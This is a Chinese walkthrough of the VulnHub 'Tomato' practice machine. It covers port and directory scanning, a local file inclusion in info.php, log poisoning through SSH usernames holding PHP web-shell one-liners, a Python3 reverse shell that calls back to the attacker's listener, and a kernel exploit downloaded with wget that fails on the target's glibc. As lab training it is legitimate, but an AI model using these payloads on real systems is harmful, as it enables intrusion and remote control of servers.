目录
[发现 IP](#发现 IP)
[访问 web](#访问 web)
[方法1:报错连接拿 shell](#方法1:报错连接拿 shell)
[方法2: 使用python3进行反弹shell](#方法2: 使用python3进行反弹shell)
靶机导入
tomato 下载地址:Tomato: 1 ~ VulnHub




信息收集
发现 IP
bash
arp-scan -l

发现靶机 IP 是 192.168.109.148
攻击机 kali 的 IP 是 192.168.109.139
目录扫描
dirb http://192.168.109.148/

端口扫描
nmap -sC -sV -O 192.168.109.148

发现开放了 21、80、8888 端口
访问 web
访问扫目录扫出来的 antibot _image目录
http://192.168.109.148/antibot_image/


右击查看info.php的网页源码,发现存在文件包含漏洞

漏洞利用
在URL后面拼接?image=/etc/passwd (用image参数传入想要获取的文件路径)
?image=/etc/passwd

成功显示,说明存在文件包含漏洞
发现端口没有全部扫描出来,重新扫一下
-A:这个选项启用了"侵略性扫描",包括操作系统检测、版本检测、脚本扫描和跟踪路由等功能。侵略性扫描通常会提供更多的信息,但也可能引起目标系统的注意。
-p-:这个选项告诉 nmap 扫描目标系统上的所有可能的端口。扫描所有端口可能会耗费一定的时间,但可以全面了解目标系统上开放的哪些端口,以及哪些端口可能存在漏洞。
nmap -p- -A 192.168.109.148

扫描出来2211,是ssh的连接端口
方法1:报错连接拿 shell
kali 2024 版本的会报错,2023 版本的可以
我这里由于 kali 的版本不能使用此方法,就拿 centos7 操作了
ssh '<?php @eval($_POST[1]);?>'@192.168.109.148 -p 2211

然后在网页端查看ubuntu报错信息:/var/log/auth.log,/var/log/auth.log 记录了所有和用户认证相关的日志 。无论是我们通过 ssh 登录,还是通过 sudo 执行命令都会在 auth.log 中产生记录。
?image=/var/log/auth.log

该目录下发现多了一些报错信息,大概率写入木马成功
用蚁剑连接试试
?image=/var/log/auth.log

成功拿到整个网站的目录信息


方法2: 使用python3进行反弹shell
写入一句话木马:
ssh '<?php echo system($_GET["aaa"]); ?>'@192.168.109.148 -p 2211
尝试通过 SSH 连接到 IP 地址为 "192.168.109.148" 的主机,使用用户名 '<?php echo system($_GET["aaa"]); ?>',并指定端口号为 2211。
这个用户名包含了 PHP 代码,具体来说,它尝试通过 PHP system 函数执行传递给它的参数,而参数来自于 URL 查询字符串中的aaa 参数。这可能是一个恶意操作,用于尝试在远程主机上执行恶意命令或代码。

拼接下面命令访问成功,说明一句话木马写入成功
?image=/var/log/auth.log&aaa=id

在kali打开监听端口:nc -lnvp 4444
nc -lnvp 4444

使用python3进行反弹shell,在浏览器中拼接下面命令进行访问
?image=/var/log/auth.log&aaa=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.133",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

kali监听到操作,成功获得靶机shell
使用下面命令生成可交互式的shell
python3 -c "import pty;pty.spawn('/bin/bash')"

提权
查看系统内核版本:
uname -a

发现系统内核是:Linux ubuntu 4.4.0-21-generic
在kali中查找该系统内核的提权包:
searchsploit ubuntu 4.4.0-21

尝试发现可以使用45010,下载该包
searchsploit -p 45010
cp /usr/share/exploitdb/exploits/linux/local/45010.c 45010.c
ls

此文件是.c文件,需要编译才能运行,最好是在目标服务器上进行编译并运行,但目标靶机没有gcc环境,意味着没办法进行编译,在这里选择在kali上编译完成后,再在靶机上运行程序
gcc 45010.c -o exp
ls

开启http服务
python3 -m http.server 80

到tmp目录下下载提权poc
cd /tmp
wget http://192.168.109.139/exp
ls
chmod +x exp

执行exp文件,如果执行成功则提权成功
./exp
但我这里失败了,报错提示运行的程序 ./exp 需要 GLIBC_2.34 版本的支持,但当前系统中的 glibc 版本低于 2.34 。

查看靶机的版本发现是 2.23
ldd --version

所以用此方法提权啊因为靶机的原因无法实施,就只能止步于此了